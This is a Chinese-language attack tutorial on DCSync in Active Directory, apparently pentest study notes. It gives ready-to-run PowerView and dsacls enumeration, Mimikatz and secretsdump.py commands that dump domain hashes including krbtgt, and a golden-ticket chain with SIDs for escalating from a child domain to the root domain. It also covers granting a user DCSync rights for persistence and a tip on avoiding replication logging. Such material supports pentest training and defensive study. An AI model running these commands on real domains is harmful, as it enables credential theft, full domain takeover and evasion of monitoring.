权限:管理员 | DCSync rights

描述:

DC Sync

攻击者通过滥用 Windows DC 的 API,使用 DCSync 技术模拟来自远程 DC 的复制过程,从而访问证书或其他敏感信息

DCSync 攻击是指攻击者冒充 DC,要求从一个特定的 DC 复制更改,该 DC 将数据发送给攻击者,其中包括账户哈希值。

默认情况下以下组有权执行此操作:

  • Administrators
  • Domain Admins
  • Enterprise Admins
  • Domain Controllers

然而,在一个配置不正确的环境中,有可能找到拥有所需个人权限的用户,而不在上述任何一个组中。这些个人权限是

  • Replicating Directory Changes
  • Replicating Directory Changes All
  • Replicating Directory Changes In Filtered Set

:::info 在开始 DC Sync 攻击之前,我们必须了解自己的目标是什么?虽然我们应该始终去寻找特权凭证,但是这些特权用户是备受关注的,很容易被发现。所以我们的目标是 接近特权的凭证

  • 在几台机器上有本地管理员权限凭证:通常情况下,组织会在所有的计算机上有一两个本地管理员权限的组,这些组通常被分为 工作站组和服务器组,通过收获这些组成员的凭证,我们仍可以访问组织内的大部分计算机
  • 具有委派权限的账户: 我们可以强制使用 金银票 进行 Kerberos 委派攻击
  • 特权 AD 账户: 如果我们破坏了诸如Exchange、Windows Server Update Services(WSUS)或System Center Configuration Manager(SCCM)等特权服务的账户,我们就可以利用AD的漏洞再次获得特权的立足点

:::

利用

枚举

:::info 枚举具有所需权限的用户

:::

  1. Get-ObjectACL "DC=security,DC=local" -ResolveGUIDs | ? {
  2. ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')
  3. }
  4. # OR
  5. Get-ObjectAcl -DistinguishedName "DC=Security,DC" -ResolveGUIDs | ?{($_.IdentityReference -match "studentx") -and (($_.ObjectType -match 'replication') -or ($_.ActiveDirectoryRights -match 'GenericAll'))}

【Windows域】DCSync攻击 - 图1

  1. //AD自带工具
  2. dsacls "DC=ring2,DC=com"

【Windows域】DCSync攻击 - 图2

  1. // powershell activedirectory module
  2. import-module activedirectory
  3. get-acl "AD:\DC=ring2,DC=com" |Select-Object -ExpandProperty Access

【Windows域】DCSync攻击 - 图3

我们可以获取单个 SID 并尝试识别相关的用户主体名称 (UPN)

  1. Get-ADUser -Identity S-1-5-21-2543357152-2466851693-2862170513-1121
  2. Get-ADGroup -Identity S-1-5-21-2543357152-2466851693-2862170513-527

【Windows域】DCSync攻击 - 图4

攻击

Mimikatz

  1. lsadump::dcsync /domain:<Domain> /user:<Users-Hash-To-Dump>
  2. lsadump::dcsync /domain:security.local /user:new_admin
  3. lsadump::dcsync /user:security\krbtgt"

【Windows域】DCSync攻击 - 图5

Secretsdump.py

Secretsdump.py 可以用于转储所有域 hash 前提是具有执行复制权限的账户&密码

  1. sudo python2 secretsdump.py <Domain>/<User>:<Password>@<IP>
  2. sudo python2 secretsdump.py security/Moe:'Password123!'@10.10.10.10

【Windows域】DCSync攻击 - 图6

与SID History结合,提权横移至根域

【Windows域】DCSync攻击 - 图7

在WINDOWS3上拿到了子域dev.testlab.local的hash,如何感染根域testlba.local

dev.testlab.local domain SID: S-1-5-21-4275052721-3205085442-2770241942

testlab.local domain SID: S-1-5-21-456218688-4216621462-1491369290

  1. # 1. Dcsync the child
  2. lsadump::dcsync /user:dev\krbtgt
  3. # 2. 伪造子域DC$黄金票据: 用户名SECONDARY$,所属组:S-1-5-21-456218688-4216621462-1491369290-516(testlab.local Domain Controllers), S-1-5-9(Enterprise Domain Controllers), 从而有权限对根域做DCSync
  4. kerberos::golden /user:SECONDARY$ /krbtgt:8b7c904343e530c4f81c53e8f614caf7 /domain:dev.testlab.local /sid:S-1-5-21-4275052721-3205085442-2770241942 /groups:516 /sids:S-1-5-21-456218688-4216621462-1491369290-516,S-1-5-9 /id:S-1-5-21-4275052721-3205085442-2770241942-1002 /ptt
  5. # 3. Dcsync the 根域testlab.local
  6. lsadump::dcsync /domain:testlab.local /dc:Primary.testlab.local /user:testlab\krbtgt
  7. # 4. 清理伪造的票据
  8. kerberos::purge

维持

使用 PowerView授予用户 DCSync 权限

  1. Add-ObjectACL -TargetDistinguishedName "DC=Security,DC=local" -PrincipalSamAccountName 'Moe' -Rights DCSync

:::info 为什么要使用DC$?

为了在对根域testlab.local做DCSync时不触发DS-Replication-Get-Changes日志记录

:::

参考

TryHackMe | Cyber Security Training

【Windows域】DCsync原理及利用